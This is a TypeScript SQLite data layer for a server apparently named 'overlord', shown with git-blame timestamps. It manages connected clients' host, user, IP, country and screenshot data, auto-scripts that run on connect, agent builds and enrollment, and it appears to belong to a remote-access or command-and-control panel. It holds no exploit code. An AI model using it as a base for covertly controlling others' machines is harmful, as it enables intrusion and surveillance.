2026-03-05 00:04:26 -06:00
import Database from "bun:sqlite" ;
import { ClientInfo , ListFilters , ListResult , ClientRole } from "./types" ;
import { getThumbnail } from "./thumbnails" ;
import { resolve } from "path" ;
import { ensureDataDir } from "./paths" ;
const dataDir = ensureDataDir ();
const dbPath = resolve ( dataDir , "overlord.db" );
const db = new Database ( dbPath );
console . log ( `[db] Using database at: ${ dbPath } ` );
db . run ( `
CREATE TABLE IF NOT EXISTS clients (
id TEXT PRIMARY KEY,
hwid TEXT,
role TEXT,
ip TEXT,
host TEXT,
os TEXT,
arch TEXT,
version TEXT,
user TEXT,
2026-03-10 19:30:51 -05:00
nickname TEXT,
2026-03-13 23:46:42 -05:00
custom_tag TEXT,
custom_tag_note TEXT,
2026-03-05 00:04:26 -06:00
monitors INTEGER,
country TEXT,
last_seen INTEGER,
online INTEGER,
2026-03-17 00:11:25 -05:00
ping_ms INTEGER,
bookmarked INTEGER NOT NULL DEFAULT 0
2026-03-05 00:04:26 -06:00
);
` );
try {
db . run ( `ALTER TABLE clients ADD COLUMN role TEXT` );
} catch {}
try {
db . run ( `ALTER TABLE clients ADD COLUMN hwid TEXT` );
} catch {}
try {
db . run ( `ALTER TABLE clients ADD COLUMN ip TEXT` );
} catch {}
2026-03-10 19:30:51 -05:00
try {
db . run ( `ALTER TABLE clients ADD COLUMN nickname TEXT` );
} catch {}
2026-03-13 23:46:42 -05:00
try {
db . run ( `ALTER TABLE clients ADD COLUMN custom_tag TEXT` );
} catch {}
try {
db . run ( `ALTER TABLE clients ADD COLUMN custom_tag_note TEXT` );
} catch {}
2026-03-17 00:11:25 -05:00
try {
db . run ( `ALTER TABLE clients ADD COLUMN bookmarked INTEGER NOT NULL DEFAULT 0` );
} catch {}
2026-03-20 22:38:17 -05:00
try {
db . run ( `ALTER TABLE clients ADD COLUMN enrollment_status TEXT NOT NULL DEFAULT 'pending'` );
} catch {}
try {
db . run ( `ALTER TABLE clients ADD COLUMN public_key TEXT` );
} catch {}
try {
db . run ( `ALTER TABLE clients ADD COLUMN key_fingerprint TEXT` );
} catch {}
try {
db . run ( `ALTER TABLE clients ADD COLUMN enrolled_at INTEGER` );
} catch {}
try {
db . run ( `ALTER TABLE clients ADD COLUMN enrolled_by TEXT` );
} catch {}
db . run (
`CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);` ,
);
db . run (
`CREATE INDEX IF NOT EXISTS idx_clients_key_fingerprint ON clients(key_fingerprint);` ,
);
db . run (
`CREATE INDEX IF NOT EXISTS idx_clients_enrollment_status ON clients(enrollment_status);` ,
);
2026-03-09 22:43:33 -05:00
db . run (
`CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);` ,
);
db . run (
`CREATE INDEX IF NOT EXISTS idx_clients_os_last_seen ON clients(os, last_seen DESC);` ,
);
db . run (
`CREATE INDEX IF NOT EXISTS idx_clients_ping_ms ON clients(ping_ms);` ,
);
2026-03-05 00:04:26 -06:00
db . run ( `
CREATE TABLE IF NOT EXISTS banned_ips (
ip TEXT PRIMARY KEY,
reason TEXT,
created_at INTEGER NOT NULL
);
` );
db . run (
`CREATE INDEX IF NOT EXISTS idx_banned_ips_created_at ON banned_ips(created_at DESC);` ,
);
db . run ( `
CREATE TABLE IF NOT EXISTS builds (
id TEXT PRIMARY KEY,
status TEXT NOT NULL,
start_time INTEGER NOT NULL,
expires_at INTEGER NOT NULL,
2026-03-12 21:26:53 -05:00
files TEXT NOT NULL,
build_tag TEXT,
built_by_user_id INTEGER
2026-03-05 00:04:26 -06:00
);
` );
2026-03-12 21:26:53 -05:00
try { db . run ( `ALTER TABLE builds ADD COLUMN build_tag TEXT` ); } catch {}
try { db . run ( `ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER` ); } catch {}
db . run ( `CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);` );
2026-03-05 00:04:26 -06:00
db . run ( `
CREATE TABLE IF NOT EXISTS notification_screenshots (
id TEXT PRIMARY KEY,
notification_id TEXT NOT NULL,
client_id TEXT NOT NULL,
ts INTEGER NOT NULL,
format TEXT NOT NULL,
width INTEGER,
height INTEGER,
bytes BLOB NOT NULL
);
` );
db . run (
`CREATE INDEX IF NOT EXISTS idx_notification_screenshots_notification_id ON notification_screenshots(notification_id);` ,
);
db . run (
`CREATE INDEX IF NOT EXISTS idx_notification_screenshots_ts ON notification_screenshots(ts DESC);` ,
);
db . run ( `
CREATE TABLE IF NOT EXISTS auto_scripts (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
trigger TEXT NOT NULL,
script TEXT NOT NULL,
script_type TEXT NOT NULL,
enabled INTEGER NOT NULL,
created_at INTEGER NOT NULL,
updated_at INTEGER NOT NULL
);
` );
db . run (
`CREATE INDEX IF NOT EXISTS idx_auto_scripts_trigger ON auto_scripts(trigger, enabled);` ,
);
2026-03-17 13:27:44 -05:00
try {
db . run ( `ALTER TABLE auto_scripts ADD COLUMN os_filter TEXT NOT NULL DEFAULT '[]'` );
} catch { /* column already exists */ }
2026-03-05 00:04:26 -06:00
db . run ( `
CREATE TABLE IF NOT EXISTS auto_script_runs (
script_id TEXT NOT NULL,
client_id TEXT NOT NULL,
ts INTEGER NOT NULL,
PRIMARY KEY (script_id, client_id)
);
` );
db . run (
`CREATE INDEX IF NOT EXISTS idx_auto_script_runs_ts ON auto_script_runs(ts DESC);` ,
);
export function upsertClientRow (
partial : Partial < ClientInfo > & {
id : string ;
lastSeen? : number ;
online? : number ;
},
) {
const now = partial . lastSeen ?? Date . now ();
db . run (
2026-03-20 22:38:17 -05:00
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
2026-03-05 00:04:26 -06:00
ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role),
ip=COALESCE(excluded.ip, clients.ip),
host=COALESCE(excluded.host, clients.host),
os=COALESCE(excluded.os, clients.os),
arch=COALESCE(excluded.arch, clients.arch),
version=COALESCE(excluded.version, clients.version),
user=COALESCE(excluded.user, clients.user),
2026-03-10 19:30:51 -05:00
nickname=clients.nickname,
2026-03-13 23:46:42 -05:00
custom_tag=clients.custom_tag,
custom_tag_note=clients.custom_tag_note,
2026-03-05 00:04:26 -06:00
monitors=COALESCE(excluded.monitors, clients.monitors),
country=COALESCE(excluded.country, clients.country),
last_seen=excluded.last_seen,
online=COALESCE(excluded.online, clients.online),
2026-03-20 22:38:17 -05:00
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
public_key=COALESCE(excluded.public_key, clients.public_key),
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint)
2026-03-05 00:04:26 -06:00
` ,
partial . id ,
partial . hwid ?? partial . id ,
partial . role ?? null ,
partial . ip ?? null ,
partial . host ?? null ,
partial . os ?? null ,
partial . arch ?? null ,
partial . version ?? null ,
partial . user ?? null ,
2026-03-13 23:46:42 -05:00
partial . nickname ?? null ,
partial . customTag ?? null ,
partial . customTagNote ?? null ,
2026-03-05 00:04:26 -06:00
partial . monitors ?? null ,
partial . country ?? null ,
now ,
partial . online ?? 0 ,
partial . pingMs ?? null ,
2026-03-20 22:38:17 -05:00
partial . enrollmentStatus ?? "pending" ,
partial . publicKey ?? null ,
partial . keyFingerprint ?? null ,
2026-03-05 00:04:26 -06:00
);
if ( partial . hwid ) {
db . run (
`DELETE FROM clients WHERE hwid=? AND id<>?` ,
partial . hwid ,
partial . id ,
);
}
}
export function setOnlineState ( id : string , online : boolean ) {
db . run (
`UPDATE clients SET online=?, last_seen=? WHERE id=?` ,
online ? 1 : 0 ,
Date . now (),
id ,
);
}
export function deleteClientRow ( id : string ) {
db . run ( `DELETE FROM clients WHERE id=?` , id );
}
2026-03-10 19:30:51 -05:00
export function getClientOnlineState ( id : string ) : boolean | null {
const row = db . query < { online : number } > ( `SELECT online FROM clients WHERE id=?` ). get ( id );
if ( ! row ) return null ;
return row . online === 1 ;
}
export function setClientNickname ( id : string , nickname : string | null ) : boolean {
const result = db . run (
`UPDATE clients SET nickname=? WHERE id=?` ,
nickname && nickname . trim () ? nickname . trim () : null ,
id ,
);
return (( result as any ) ? . changes || 0 ) > 0 ;
}
export function getClientNickname ( id : string ) : string | null {
const row = db . query < { nickname : string | null } > ( `SELECT nickname FROM clients WHERE id=?` ). get ( id );
return row ? . nickname ?? null ;
}
2026-03-13 23:46:42 -05:00
export function setClientTag (
id : string ,
tag : string | null ,
note : string | null ,
) : boolean {
const normalizedTag = tag && tag . trim () ? tag . trim () : null ;
const normalizedNote = normalizedTag ? note ?? null : null ;
const result = db . run (
`UPDATE clients SET custom_tag=?, custom_tag_note=? WHERE id=?` ,
normalizedTag ,
normalizedNote ,
id ,
);
return (( result as any ) ? . changes || 0 ) > 0 ;
}
2026-03-05 00:04:26 -06:00
export function getClientIp ( id : string ) : string | null {
const row = db . query < { ip : string } > ( `SELECT ip FROM clients WHERE id=?` ). get ( id );
return row ? . ip || null ;
}
export function banIp ( ip : string , reason? : string ) {
db . run (
`INSERT OR REPLACE INTO banned_ips (ip, reason, created_at) VALUES (?, ?, ?)`
, ip ,
reason || null ,
Date . now (),
);
}
export function unbanIp ( ip : string ) {
db . run ( `DELETE FROM banned_ips WHERE ip=?` , ip );
}
2026-03-06 20:50:02 -06:00
export type BannedIpEntry = {
ip : string ;
reason : string | null ;
createdAt : number ;
};
export function listBannedIps () : BannedIpEntry [] {
const rows = db
. query < { ip : string ; reason : string | null ; createdAt : number } > (
`SELECT ip, reason, created_at as createdAt FROM banned_ips ORDER BY created_at DESC` ,
)
. all ();
return rows . map (( row ) => ({
ip : row.ip ,
reason : row.reason ,
createdAt : Number ( row . createdAt ) || 0 ,
}));
}
2026-03-05 00:04:26 -06:00
export function isIpBanned ( ip : string ) : boolean {
const row = db . query < { ip : string } > ( `SELECT ip FROM banned_ips WHERE ip=?` ). get ( ip );
return !! row ? . ip ;
}
export function markAllClientsOffline() {
db . run ( `UPDATE clients SET online=0` );
console . log ( "[db] marked all clients as offline" );
}
export function listClients ( filters : ListFilters ) : ListResult {
2026-03-06 20:50:02 -06:00
const {
page ,
pageSize ,
search ,
sort ,
statusFilter ,
osFilter ,
2026-03-17 00:11:25 -05:00
countryFilter ,
2026-03-20 22:38:17 -05:00
enrollmentFilter ,
2026-03-06 20:50:02 -06:00
allowedClientIds ,
deniedClientIds ,
} = filters ;
2026-03-05 00:04:26 -06:00
const where : string [] = [];
const params : any [] = [];
if ( search ) {
where . push (
2026-03-13 23:46:42 -05:00
"(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(COALESCE(nickname,'')) LIKE ? OR LOWER(COALESCE(custom_tag,'')) LIKE ? OR LOWER(COALESCE(custom_tag_note,'')) LIKE ? OR LOWER(id) LIKE ?)" ,
2026-03-05 00:04:26 -06:00
);
const needle = `% ${ search } %` ;
2026-03-13 23:46:42 -05:00
params . push ( needle , needle , needle , needle , needle , needle );
2026-03-05 00:04:26 -06:00
}
if ( statusFilter === "online" ) {
where . push ( "online=1" );
} else if ( statusFilter === "offline" ) {
where . push ( "online=0" );
}
2026-03-20 22:38:17 -05:00
if ( enrollmentFilter && enrollmentFilter !== "all" ) {
where . push ( "enrollment_status=?" );
params . push ( enrollmentFilter );
}
2026-03-05 00:04:26 -06:00
if ( osFilter && osFilter !== "all" ) {
where . push ( "os=?" );
params . push ( osFilter );
}
2026-03-17 00:11:25 -05:00
if ( countryFilter && countryFilter !== "all" ) {
where . push ( "UPPER(COALESCE(country,'ZZ'))=?" );
params . push ( countryFilter . toUpperCase ());
}
2026-03-06 20:50:02 -06:00
if ( Array . isArray ( allowedClientIds )) {
if ( allowedClientIds . length === 0 ) {
where . push ( "1=0" );
} else {
where . push ( `id IN ( ${ allowedClientIds . map (() => "?" ). join ( "," ) } )` );
params . push (... allowedClientIds );
}
}
if ( Array . isArray ( deniedClientIds ) && deniedClientIds . length > 0 ) {
where . push ( `id NOT IN ( ${ deniedClientIds . map (() => "?" ). join ( "," ) } )` );
params . push (... deniedClientIds );
}
2026-03-05 00:04:26 -06:00
const whereSql = where . length ? `WHERE ${ where . join ( " AND " ) } ` : "" ;
const orderBy = (() => {
2026-03-17 00:11:25 -05:00
const bookmark = "bookmarked DESC" ;
2026-03-05 00:04:26 -06:00
switch ( sort ) {
2026-03-17 00:42:57 -05:00
case "stable" :
return `ORDER BY ${ bookmark } , online DESC, id ASC` ;
2026-03-05 00:04:26 -06:00
case "ping_asc" :
2026-03-17 00:11:25 -05:00
return `ORDER BY ${ bookmark } , ping_ms IS NULL, ping_ms ASC, id ASC` ;
2026-03-05 00:04:26 -06:00
case "ping_desc" :
2026-03-17 00:11:25 -05:00
return `ORDER BY ${ bookmark } , ping_ms IS NULL, ping_ms DESC, id ASC` ;
2026-03-05 00:04:26 -06:00
case "host_asc" :
2026-03-17 00:11:25 -05:00
return `ORDER BY ${ bookmark } , LOWER(COALESCE(nickname, host)) ASC, id ASC` ;
2026-03-05 00:04:26 -06:00
case "host_desc" :
2026-03-17 00:11:25 -05:00
return `ORDER BY ${ bookmark } , LOWER(COALESCE(nickname, host)) DESC, id ASC` ;
case "country_asc" :
return `ORDER BY ${ bookmark } , LOWER(COALESCE(country, 'zz')) ASC, id ASC` ;
case "country_desc" :
return `ORDER BY ${ bookmark } , LOWER(COALESCE(country, 'zz')) DESC, id ASC` ;
2026-03-05 00:04:26 -06:00
default :
2026-03-17 00:11:25 -05:00
return `ORDER BY ${ bookmark } , last_seen DESC, id ASC` ;
2026-03-05 00:04:26 -06:00
}
})();
const totalRow = db
. query < { c : number } > ( `SELECT COUNT(*) as c FROM clients ${ whereSql } ` )
. get (... params ) ?? { c : 0 };
const onlineRow = db
2026-03-06 20:50:02 -06:00
. query < { c : number } > (
`SELECT COUNT(*) as c FROM clients ${ whereSql ? ` ${ whereSql } AND online=1` : "WHERE online=1" } ` ,
)
. get (... params ) ?? { c : 0 };
2026-03-05 00:04:26 -06:00
const offset = ( page - 1 ) * pageSize ;
const rows = db
. query < any >(
2026-03-20 22:38:17 -05:00
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint
2026-03-05 00:04:26 -06:00
FROM clients
${ whereSql }
${ orderBy }
LIMIT ? OFFSET ?` ,
)
. all (... params , pageSize , offset );
const items = rows . map (( c : any ) => ({
id : c.id ,
hwid : c.hwid ,
role : ( c . role as ClientRole ) || "client" ,
lastSeen : Number ( c . lastSeen ) || 0 ,
host : c.host ,
os : c.os || "unknown" ,
arch : c.arch || "arch?" ,
version : c.version || "0" ,
user : c.user ,
2026-03-10 19:30:51 -05:00
nickname : c.nickname || null ,
2026-03-13 23:46:42 -05:00
customTag : c.customTag || null ,
customTagNote : c.customTagNote ?? null ,
2026-03-05 00:04:26 -06:00
monitors : c.monitors ,
country : c.country || "ZZ" ,
pingMs : c.pingMs ?? null ,
online : c.online === 1 ,
2026-03-17 00:11:25 -05:00
bookmarked : c.bookmarked === 1 ,
2026-03-20 22:38:17 -05:00
enrollmentStatus : c.enrollmentStatus || "pending" ,
publicKey : c.publicKey || null ,
keyFingerprint : c.keyFingerprint || null ,
2026-03-05 00:04:26 -06:00
thumbnail : getThumbnail ( c . id ),
}));
return { page , pageSize , total : totalRow.c , online : onlineRow.c , items };
}
2026-03-09 22:43:33 -05:00
export type ClientMetricsSummary = {
total : number ;
online : number ;
byOS : Record < string , number >;
byCountry : Record < string , number >;
byOSOnline : Record < string , number >;
byCountryOnline : Record < string , number >;
};
export function getClientMetricsSummary () : ClientMetricsSummary {
const counts = db
. query < { total : number ; online : number } > (
`SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients` ,
)
. get () ?? { total : 0 , online : 0 };
const osRows = db
. query < { key : string ; total : number ; online : number } > (
`SELECT
COALESCE(NULLIF(os, ''), 'unknown') as key,
COUNT(*) as total,
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
FROM clients
GROUP BY COALESCE(NULLIF(os, ''), 'unknown')` ,
)
. all ();
const countryRows = db
. query < { key : string ; total : number ; online : number } > (
`SELECT
COALESCE(NULLIF(country, ''), 'ZZ') as key,
COUNT(*) as total,
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
FROM clients
GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')` ,
)
. all ();
const byOS : Record < string , number > = {};
const byOSOnline : Record < string , number > = {};
for ( const row of osRows ) {
byOS [ row . key ] = Number ( row . total ) || 0 ;
byOSOnline [ row . key ] = Number ( row . online ) || 0 ;
}
const byCountry : Record < string , number > = {};
const byCountryOnline : Record < string , number > = {};
for ( const row of countryRows ) {
byCountry [ row . key ] = Number ( row . total ) || 0 ;
byCountryOnline [ row . key ] = Number ( row . online ) || 0 ;
}
return {
total : Number ( counts . total ) || 0 ,
online : Number ( counts . online ) || 0 ,
byOS ,
byCountry ,
byOSOnline ,
byCountryOnline ,
};
}
2026-03-05 00:04:26 -06:00
export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once" ;
export type AutoScript = {
id : string ;
name : string ;
trigger : AutoScriptTrigger ;
script : string ;
scriptType : string ;
enabled : boolean ;
2026-03-17 13:27:44 -05:00
osFilter : string [];
2026-03-05 00:04:26 -06:00
createdAt : number ;
updatedAt : number ;
};
function mapAutoScriptRow ( row : any ) : AutoScript {
2026-03-17 13:27:44 -05:00
let osFilter : string [] = [];
try {
const parsed = JSON . parse ( row . os_filter || "[]" );
osFilter = Array . isArray ( parsed ) ? parsed : [];
} catch { }
2026-03-05 00:04:26 -06:00
return {
id : row.id ,
name : row.name ,
trigger : row.trigger as AutoScriptTrigger ,
script : row.script ,
scriptType : row.script_type ,
enabled : row.enabled === 1 ,
2026-03-17 13:27:44 -05:00
osFilter ,
2026-03-05 00:04:26 -06:00
createdAt : Number ( row . created_at ) || 0 ,
updatedAt : Number ( row . updated_at ) || 0 ,
};
}
export function listAutoScripts () : AutoScript [] {
const rows = db . query < any >( `SELECT * FROM auto_scripts ORDER BY created_at DESC` ). all ();
return rows . map ( mapAutoScriptRow );
}
export function getAutoScriptsByTrigger ( trigger : AutoScriptTrigger ) : AutoScript [] {
const rows = db
. query < any >(
`SELECT * FROM auto_scripts WHERE trigger=? AND enabled=1 ORDER BY created_at ASC` ,
)
. all ( trigger );
return rows . map ( mapAutoScriptRow );
}
export function getAutoScript ( id : string ) : AutoScript | null {
const row = db . query < any >( `SELECT * FROM auto_scripts WHERE id=?` ). get ( id );
return row ? mapAutoScriptRow ( row ) : null ;
}
export function createAutoScript ( input : {
id : string ;
name : string ;
trigger : AutoScriptTrigger ;
script : string ;
scriptType : string ;
enabled : boolean ;
2026-03-17 13:27:44 -05:00
osFilter : string [];
2026-03-05 00:04:26 -06:00
}) : AutoScript {
const now = Date . now ();
db . run (
2026-03-17 13:27:44 -05:00
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`
2026-03-05 00:04:26 -06:00
,
input . id ,
input . name ,
input . trigger ,
input . script ,
input . scriptType ,
input . enabled ? 1 : 0 ,
2026-03-17 13:27:44 -05:00
JSON . stringify ( input . osFilter ?? []),
2026-03-05 00:04:26 -06:00
now ,
now ,
);
return getAutoScript ( input . id ) ! ;
}
export function updateAutoScript (
id : string ,
input : Partial < {
name : string ;
trigger : AutoScriptTrigger ;
script : string ;
scriptType : string ;
enabled : boolean ;
2026-03-17 13:27:44 -05:00
osFilter : string [];
2026-03-05 00:04:26 -06:00
} > ,
) : AutoScript | null {
const current = getAutoScript ( id );
if ( ! current ) return null ;
const next = {
name : input.name ?? current . name ,
trigger : ( input . trigger ?? current . trigger ) as AutoScriptTrigger ,
script : input.script ?? current . script ,
scriptType : input.scriptType ?? current . scriptType ,
enabled : typeof input . enabled === "boolean" ? input.enabled : current.enabled ,
2026-03-17 13:27:44 -05:00
osFilter : Array.isArray ( input . osFilter ) ? input.osFilter : current.osFilter ,
2026-03-05 00:04:26 -06:00
};
db . run (
2026-03-17 13:27:44 -05:00
`UPDATE auto_scripts SET name=?, trigger=?, script=?, script_type=?, enabled=?, os_filter=?, updated_at=? WHERE id=?`
2026-03-05 00:04:26 -06:00
,
next . name ,
next . trigger ,
next . script ,
next . scriptType ,
next . enabled ? 1 : 0 ,
2026-03-17 13:27:44 -05:00
JSON . stringify ( next . osFilter ),
2026-03-05 00:04:26 -06:00
Date . now (),
id ,
);
return getAutoScript ( id );
}
export function deleteAutoScript ( id : string ) : boolean {
const result = db . run ( `DELETE FROM auto_scripts WHERE id=?` , id );
db . run ( `DELETE FROM auto_script_runs WHERE script_id=?` , id );
return ( result as any ) ? . changes ? ( result as any ). changes > 0 : true ;
}
export function hasAutoScriptRun ( scriptId : string , clientId : string ) : boolean {
const row = db
. query < any >(
`SELECT script_id FROM auto_script_runs WHERE script_id=? AND client_id=?` ,
)
. get ( scriptId , clientId );
return !! row ? . script_id ;
}
export function recordAutoScriptRun ( scriptId : string , clientId : string ) {
db . run (
`INSERT OR REPLACE INTO auto_script_runs (script_id, client_id, ts) VALUES (?, ?, ?)`
,
scriptId ,
clientId ,
Date . now (),
);
}
export function clientExists ( id : string ) : boolean {
const row = db . query < any >( `SELECT id FROM clients WHERE id=?` ). get ( id );
return !! row ? . id ;
}
2026-03-21 00:10:47 -05:00
export function getClientPublicKeyById ( id : string ) : string | null {
const row = db . query < { public_key : string | null } > ( `SELECT public_key FROM clients WHERE id=? LIMIT 1` ). get ( id );
return row ? . public_key ?? null ;
}
2026-03-17 00:11:25 -05:00
export function listDistinctCountries () : { code : string ; count : number }[] {
const rows = db
. query < { code : string ; count : number } > (
`SELECT UPPER(COALESCE(NULLIF(country, ''), 'ZZ')) as code, COUNT(*) as count
FROM clients
GROUP BY UPPER(COALESCE(NULLIF(country, ''), 'ZZ'))
ORDER BY count DESC` ,
)
. all ();
return rows . map (( r ) => ({ code : r.code , count : Number ( r . count ) || 0 }));
}
export function setClientBookmark ( id : string , bookmarked : boolean ) : boolean {
const result = db . run (
`UPDATE clients SET bookmarked=? WHERE id=?` ,
bookmarked ? 1 : 0 ,
id ,
);
return (( result as any ) ? . changes || 0 ) > 0 ;
}
export function getClientBookmark ( id : string ) : boolean {
const row = db . query < { bookmarked : number } > ( `SELECT bookmarked FROM clients WHERE id=?` ). get ( id );
return row ? . bookmarked === 1 ;
}
2026-03-05 00:04:26 -06:00
export interface BuildRecord {
id : string ;
status : string ;
startTime : number ;
expiresAt : number ;
files : Array < {
name : string ;
filename : string ;
platform : string ;
2026-03-12 12:05:42 -05:00
version? : string ;
2026-03-05 00:04:26 -06:00
size : number ;
} > ;
2026-03-12 21:26:53 -05:00
buildTag? : string ;
builtByUserId? : number ;
2026-03-05 00:04:26 -06:00
}
export function saveBuild ( build : BuildRecord ) {
db . run (
2026-03-12 21:26:53 -05:00
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id)
VALUES (?, ?, ?, ?, ?, ?, ?)` ,
2026-03-05 00:04:26 -06:00
build . id ,
build . status ,
build . startTime ,
build . expiresAt ,
JSON . stringify ( build . files ),
2026-03-12 21:26:53 -05:00
build . buildTag || null ,
build . builtByUserId || null ,
2026-03-05 00:04:26 -06:00
);
}
export function getBuild ( id : string ) : BuildRecord | null {
const row = db . query < any >( `SELECT * FROM builds WHERE id = ?` ). get ( id );
if ( ! row ) return null ;
return {
id : row.id ,
status : row.status ,
startTime : row.start_time ,
expiresAt : row.expires_at ,
files : JSON.parse ( row . files ),
2026-03-12 21:26:53 -05:00
buildTag : row.build_tag || undefined ,
builtByUserId : row.built_by_user_id || undefined ,
};
}
export function getBuildByTag ( buildTag : string ) : BuildRecord | null {
const row = db . query < any >( `SELECT * FROM builds WHERE build_tag = ?` ). get ( buildTag );
if ( ! row ) return null ;
return {
id : row.id ,
status : row.status ,
startTime : row.start_time ,
expiresAt : row.expires_at ,
files : JSON.parse ( row . files ),
buildTag : row.build_tag || undefined ,
builtByUserId : row.built_by_user_id || undefined ,
2026-03-05 00:04:26 -06:00
};
}
2026-03-16 13:42:13 +01:00
export function getAllBuilds ( userId? : number , role? : string ) : BuildRecord [] {
2026-03-16 18:48:41 -05:00
if ( role !== undefined && role !== "admin" ) {
2026-03-16 18:42:56 -05:00
if ( userId == null ) {
return [];
}
2026-03-16 13:42:13 +01:00
const rows = db
. query < any >( `SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time DESC` )
. all ( userId );
return rows . map (( row ) => ({
id : row.id ,
status : row.status ,
startTime : row.start_time ,
expiresAt : row.expires_at ,
files : JSON.parse ( row . files ),
buildTag : row.build_tag || undefined ,
builtByUserId : row.built_by_user_id || undefined ,
}));
}
2026-03-05 00:04:26 -06:00
const rows = db
2026-03-16 18:42:56 -05:00
. query < any >( "SELECT * FROM builds ORDER BY start_time DESC" )
2026-03-05 00:04:26 -06:00
. all ();
return rows . map (( row ) => ({
id : row.id ,
status : row.status ,
startTime : row.start_time ,
expiresAt : row.expires_at ,
files : JSON.parse ( row . files ),
2026-03-12 21:26:53 -05:00
buildTag : row.build_tag || undefined ,
builtByUserId : row.built_by_user_id || undefined ,
2026-03-05 00:04:26 -06:00
}));
}
export function deleteExpiredBuilds() {
const now = Date . now ();
db . run ( `DELETE FROM builds WHERE expires_at <= ?` , now );
}
export function deleteBuild ( id : string ) {
db . run ( `DELETE FROM builds WHERE id = ?` , id );
}
export interface NotificationScreenshotRecord {
id : string ;
notificationId : string ;
clientId : string ;
ts : number ;
format : string ;
width? : number ;
height? : number ;
bytes : Uint8Array ;
}
export function saveNotificationScreenshot ( record : NotificationScreenshotRecord ) {
db . run (
`INSERT OR REPLACE INTO notification_screenshots
(id, notification_id, client_id, ts, format, width, height, bytes)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
,
record . id ,
record . notificationId ,
record . clientId ,
record . ts ,
record . format ,
record . width ?? null ,
record . height ?? null ,
record . bytes ,
);
}
export function getNotificationScreenshot ( notificationId : string ) : NotificationScreenshotRecord | null {
const row = db
. query < any >(
`SELECT * FROM notification_screenshots WHERE notification_id = ? ORDER BY ts DESC LIMIT 1` ,
)
. get ( notificationId );
if ( ! row ) return null ;
return {
id : row.id ,
notificationId : row.notification_id ,
clientId : row.client_id ,
ts : row.ts ,
format : row.format ,
width : row.width ?? undefined ,
height : row.height ?? undefined ,
bytes : row.bytes ,
};
}
export function clearNotificationScreenshots() {
db . run ( `DELETE FROM notification_screenshots` );
console . log ( "[db] cleared notification screenshots" );
}
2026-03-20 22:38:17 -05:00
export function getClientEnrollmentStatus ( id : string ) : string | null {
const row = db
. query < { enrollment_status : string } > (
`SELECT enrollment_status FROM clients WHERE id=?` ,
)
. get ( id );
return row ? . enrollment_status ?? null ;
}
export function setClientEnrollmentStatus (
id : string ,
status : "approved" | "denied" | "pending" ,
approvedBy? : string ,
) : boolean {
const result = db . run (
`UPDATE clients SET enrollment_status=?, enrolled_at=?, enrolled_by=? WHERE id=?` ,
status ,
status === "approved" ? Date . now () : null ,
status === "approved" ? ( approvedBy ?? null ) : null ,
id ,
);
return (( result as any ) ? . changes || 0 ) > 0 ;
}
export function lookupClientByPublicKey (
publicKey : string ,
) : { id : string ; enrollmentStatus : string } | null {
const row = db
. query < { id : string ; enrollment_status : string } > (
`SELECT id, enrollment_status FROM clients WHERE public_key=? LIMIT 1` ,
)
. get ( publicKey );
if ( ! row ) return null ;
return { id : row.id , enrollmentStatus : row.enrollment_status };
}
export function getEnrollmentStats () : {
pending : number ;
approved : number ;
denied : number ;
} {
const rows = db
. query < { status : string ; c : number } > (
`SELECT COALESCE(enrollment_status,'pending') as status, COUNT(*) as c FROM clients GROUP BY enrollment_status` ,
)
. all ();
const stats = { pending : 0 , approved : 0 , denied : 0 };
for ( const r of rows ) {
if ( r . status === "approved" ) stats . approved = Number ( r . c );
else if ( r . status === "denied" ) stats . denied = Number ( r . c );
else stats . pending = Number ( r . c );
}
return stats ;
}
export function getPendingClients () : {
id : string ;
host : string | null ;
os : string | null ;
user : string | null ;
ip : string | null ;
country : string | null ;
publicKey : string | null ;
keyFingerprint : string | null ;
lastSeen : number ;
}[] {
return db
. query < any >(
`SELECT id, host, os, user, ip, country, public_key as publicKey, key_fingerprint as keyFingerprint, last_seen as lastSeen
FROM clients WHERE enrollment_status='pending' ORDER BY last_seen DESC` ,
)
. all ()
. map (( r : any ) => ({
id : r.id ,
host : r.host ,
os : r.os ,
user : r.user ,
ip : r.ip ,
country : r.country ,
publicKey : r.publicKey ,
keyFingerprint : r.keyFingerprint ,
lastSeen : Number ( r . lastSeen ) || 0 ,
}));
}